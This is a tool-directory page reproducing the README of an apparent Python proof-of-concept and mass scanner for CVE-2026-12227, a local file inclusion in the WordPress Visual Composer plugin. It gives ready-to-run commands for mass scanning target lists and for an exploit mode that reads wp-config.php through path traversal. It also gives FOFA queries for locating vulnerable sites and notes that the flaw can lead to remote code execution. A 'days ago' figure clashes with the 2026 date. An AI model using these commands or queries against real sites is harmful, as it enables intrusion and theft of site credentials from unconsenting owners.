Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-12227 — Python 3 PoC and scanner for CVE-2026-12227, an unauthenticated local file inclusion in WordPress Visual Composer Website Builder via the vcv-template parameter. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-12227
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubmurrez/cve-2026-12227

CVE-2026-12227

Python 3 PoC and scanner for CVE-2026-12227, an unauthenticated local file inclusion in WordPress Visual Composer Website Builder via the vcv-template parameter.

4121 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-12227 — Visual Composer Website Builder Unauthenticated LFI

Python 3 PoC for CVE-2026-12227 (Wordfence): Local File Inclusion via the vcv-template query parameter in Visual Composer Website Builder (visualcomposer on wordpress.org).

PlatformWordPress plugin
ComponentVisual Composer Website Builder
Affected≤ 45.16.0
Fixed in> 45.16.0 (WP Trac 3619572) — use latest stable (e.g. 45.16.3+)
CVSS9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
AuthUnauthenticated
CWECWE-98
NotWPBakery (js_composer) or SAP NetWeaver Visual Composer

Summary

On vulnerable versions, public page loads honor attacker-controlled vcv-template (with vcv-template-type) during WordPress template_include handling inside PageTemplatesController. That can include attacker-chosen files on disk; PHP files may execute (RCE). Wordfence notes chains with uploaded “safe” extensions in some setups.

Attack surface

  • Needs plugin installed and a front-end page built with VC (normal permalink).
  • Probe adds query params, e.g. ?vcv-template-type=vc&vcv-template=blank or LFI paths under vcv-template.
  • Related params: vcv-template-type, vcv-template-stretched.

Requirements

pip install -r requirements.txt

Python 3.8+.

Usage

# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check

# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /

# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet

# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php

# JSON for scripting
python poc.py -u https://target.example --mode check --json

Output

FileMeaning
cve_2026_12227_results.jsonlFull per-target JSON
hits.txtCandidate hostnames
candidates.jsonlCheck-mode summary (page_url, status, lfi)

Status values

StatusMeaning
lfi_confirmedResponse matches wp-config / /etc/passwd / version.php heuristics
vcv_template_controllablevcv-template=blank changes layout vs baseline (vuln param honored)
plugin_vuln_no_surfaceOld plugin version but no VC page or param ignored
no_vc_pagePlugin present, no VC markers on crawled paths
patchedVersion > 45.16.0

FOFA hints

body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"

Technical notes

  • Code path: visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).
  • Check treats param control or LFI markers as exploitable_candidate; confirm on a staging clone before assuming RCE.
  • Premium TemplateFilter / theme-builder addons may widen reachable paths on some sites.

Legal

Use only on systems you own or have explicit permission to test.

Download Tool